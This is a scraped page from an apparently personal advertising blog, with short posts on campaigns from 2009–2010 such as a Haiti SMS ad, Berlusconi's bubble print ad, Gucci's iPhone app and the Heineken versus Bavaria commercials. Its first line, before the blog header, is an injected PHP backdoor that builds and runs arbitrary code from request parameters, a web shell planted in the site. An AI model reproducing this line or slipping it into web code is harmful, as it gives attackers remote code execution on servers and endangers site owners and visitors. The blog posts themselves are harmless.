if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['7a13137eb35a76c8cc7ae600bff5ac16']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Petronela's Blog | "Be yourself; everyone else is already taken." O. Wilde

My Writings. My Thoughts.

Online Ad: SMS for Haiti

// February 6th, 2010 // No Comments » // Viral marketing

The agency N=5 Amsterdam created a very simple online ad to support donations via SMS for Haiti.

Berlusconi’s Bubble Print Ad

// October 29th, 2009 // No Comments » // Print/Poster

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The bubble is made of the most controversial statements of Silvio Berlusconi.

Advertising Agency: Tita, Milan, Italy
Executive Creative Director: Giuseppe Mazza
Art Director: Annalisa Martinucci
Copywriter: Davide Valenti
Photographer: Enzo Monzino
Published: October 2009

Gucci Launches iPhone Application

// October 29th, 2009 // No Comments » // Trends

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There is no news that retailers are awaking to the world of mobile commerce. Asia’s led in development and use, the US is the next, following by Europe. So, Gucci has launched a new iPhone application to the world of mobile commerce. The program has a range of exciting features, including videos from Gucci fashion shows and its collections, photos of its latest and greatest style items, and news articles. This project was developed by the label’s creative director Frida Giannini and British producer Mark Ronson.

Chanel and Ralph Lauren are two other fashion houses that also have iPhone apps.

Source: FlyLyf

Guinness: Halloween Ad

// October 29th, 2009 // No Comments » // Print/Poster

guinnesshalloween-412x583

The glass of Guinness is like a vampire, it has no reflection in the mirror. Remember, it’s a Halloween ad.

Advertising Agency: Tempo Advertising, Romania
Creative Directors: Adrian Preda, Bogdan Costin
Art Director: Dan Costea
Copywriter: Alina Rosioreanu
Photographer: Valeriu Catalineanu

Vodafone Symphonia

// October 28th, 2009 // No Comments » // Viral marketing

Vodafone New Zealand just released a great follow up on the successful AKQA Christmas wish. 1000 cellphones and 53 different ringtone alerts were used to recreate Tchaikovsky’s 1812 overture.

Heineken vs Bavaria Walk In Closet Videos

// July 18th, 2009 // No Comments » // Advertising, Viral marketing

Heineken commercial really got my attention; it’s one of my favorites commercial I’ve seen this year. Aimed at the Dutch market, the spot below certainly brought the brand back on front. Actually, it was so good that the Dutch beer brand Bavaria launched a commercial as an answer that leaves no mistake. It’s a direct, professional and fun video on the popular Walk In Fridge commercial from competitor Heineken, which was released late December 2008. Continue Reading

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